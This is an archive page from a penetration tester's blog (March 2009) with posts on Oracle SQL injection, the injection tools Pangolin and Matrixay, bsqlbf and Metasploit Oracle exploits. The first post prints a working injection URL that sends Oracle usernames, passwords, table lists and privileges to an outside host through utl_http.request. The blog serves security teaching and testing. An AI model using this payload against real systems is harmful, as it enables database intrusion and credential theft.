Archive for März, 2009

IT Underground Prague – Presentation

Freitag, März 27th, 2009

Just back from the IT Underground 2009 in Prague.

I met several smart security consultants and some of my customers from different countries in Europe (Belgium, Poland, Germany, UK, …) and had a lot of interesting talks.

I gave a presentation concerning SQL Injection in web applications with Oracle backend databases.

Here a short example from the presentation:

The following (vulnerable) URL is sending all usernames/passwords, all accessible tables, tables and column, roles and privileges in a single SQL statement to a remote system. This can be done with a simple trick. Just use sum(length(utl_http.request(()))).

http://victim.com/order.jsp?id=17‚ or 1=((select sum(length(utl_http.request(‚http://www.orasploit.com/’username||’=’||password) from dba_users)))+((select sum(length(utl_http.request(‚http://www.orasploit.com/’owner||’=’||table_name) from dba_tables)))+((select sum(length(utl_http.request(‚http://www.orasploit.com/’owner||’=’||table_name||’=’||column_name)) from dba_users))+((select sum(length(utl_http.request(‚http://www.orasploit.com/’grantee||’=’||granted_role) from dba_role_privs)))+((select sum(length(utl_http.request(‚http://www.orasploit.com/’grantee||’=’||owner||’=’||table_name||’=’||privilege||’=’||grantable) from dba_tab_privs)))–

More details in the presentation.

Web Application Testing with Pangolin (Video & Screenshot)

Donnerstag, März 5th, 2009

Here is another new video “Web Application Testing with Pangolin” (1024×768).

Similar to the previous video with Matrixay I am using a chinese tool called Pangolin to extract the structure and content of a database (tables, columns, data) via a SQL Injection vulnerability in one of my vulnerable test applications.

Pangolin is a free product but some of the versions of Pangolin on the web are coming with a backdoored libcurl.dll. This can be a dangerous side effect of using free tools in a company environment. You have been warned…

Sometimes it is difficult to find a download possibility of Pangolin because the main website www.nosec.org is currently under construction but if you search a little bit you will be able to find a copy (e.g. via rapidshare). More details concerning Pangolin is available here.

Pangolin Web SQL Injection Tool

Pangolin supports all kind of databases (Oracle, MSSQL, MySQL, Sybase, DB2, …).

More videos can be found in our video section.

Web Application Testing with Matrixay 2.5

Mittwoch, März 4th, 2009

Today I uploaded a new video „Web Application Testing with Matrixay 2.5“ (1024×768). In this video I am using Matrixay to extract the structure of a database (tables, columns, …) via a SQL Injection vulnerability in one of my vulnerable test applications (Oracle 11.1.0.7 & PHP). After that I am downloading the content of the table.

Matrixay is a really good and easy to use commercial web scanner from DBAppSecurity Ltd.

Matrixay

Matrixay supports all kind of databases (Oracle, MSSQL, MySQL, DB2, …) and can even do simple database audit (e.g. check for weak Oracle passwords, …).

More videos can be found in our video section. I will add more in the next few weeks.

New version of bsqlbf (v 2.2) available

Mittwoch, März 4th, 2009

Yesterday, Sumit Siddarth (Sid) from notsosecure.com released a new version of the sql injection tool bsqlbf. This updated version bsqlbf 2.2 supports now SQL Injection in „order by“ and „group by“.

bsqlbf supports Oracle, MSSQL, MySQL and Postgres.

Metasploit contains new Oracle exploits

Montag, März 2nd, 2009

Chris Gates wrote on his blog that Metasploit contains now exploits for Oracle bugs which were fixed in October 2008 (lt.compress) and January 2009 CPU.

Metasploit is becoming more and more useful for Oracle pentester…